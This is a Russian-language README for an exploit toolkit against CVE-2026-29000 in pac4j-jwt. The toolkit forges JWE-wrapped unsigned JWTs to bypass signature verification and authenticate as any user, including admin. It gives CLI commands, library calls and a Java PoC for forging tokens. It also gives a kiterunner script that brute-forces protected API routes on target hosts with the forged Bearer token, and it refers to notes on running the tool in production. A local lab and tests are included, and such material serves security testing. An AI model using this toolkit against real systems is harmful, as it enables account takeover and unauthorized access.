
Forge JWE-обёрнутые неподписанные JWT для обхода проверки подписи pac4j-jwt (CVE-2026-29000) и аутентификации под любым пользователем; включает Python CLI, библиотеку, Java PoC и сканирование маршрутов kiterunner.
Полный комплект: разбор уязвимости, Java PoC в процессе, Python CLI и библиотека для подделки токенов, тесты.
Подробности и требования к PoC см. в WRITEUP.md.
| Путь | Описание |
|---|---|
WRITEUP.md | Сводка по CVE, первопричина, затронутые версии, требования к PoC, ссылки |
RECON.md | Что включить (обнаружение claims, специфичные для приложения claims) и куда отправлять (заголовки, cookie, поиск защищённых конечных точек) |
OPERATIONALIZATION.md | Что нужно для запуска в production: упаковка, конфигурация, безопасность, автоматизация, наблюдаемость, обслуживание |
scripts/kr_scan.py | Подделка токена и запуск kiterunner (~/bin/kr) с Authorization: Bearer для перебора/сканирования защищённых API-маршрутов |
examples/ | Примеры скриптов: forge_and_curl.sh, forge_and_kr.sh |
lab/ | Flask-приложение для лабораторных работ (JWE endpoint + JWKS) для тестирования подделки токенов |
poc/ | Java Maven PoC (обход в процессе против pac4j-jwt 6.0.3) |
token_forge/ | Python-пакет: создание JWE-обёрнутого PlainJWT из PEM или JWKS URL |
tests/ | Pytest-тесты для claims, forge, keys, CLI |
requirements.txt | Python-зависимости (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # или .venv\Scripts\activate на Windows
pip install -r requirements.txt
# Из PEM (сгенерировать: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# Из JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# Дополнительные claims (для обнаружения специфичных для приложения): --claim [email protected] --claim key=value
# Опции: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Вывод: одна строка (подделанный JWT); используйте как Authorization: Bearer <token>.
Требуется kr в ~/bin/kr. Подделка токена и запуск kr brute (или kr scan) с Bearer-аутентификацией для обнаружения защищённых маршрутов:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
См. RECON.md §4 для опций (--subject, --roles, --claim, -A, --scan и т.д.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# или с предупреждениями как ошибками:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Или только токен (без проверки в процессе):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# С пользовательскими subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Ожидаемый результат: [BYPASS] Authenticated as: admin#override и роли при запуске в процессе.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # затем открыть htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Flask-приложение, которое принимает JWE и возвращает claims (для тестирования forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
См. lab/README.md.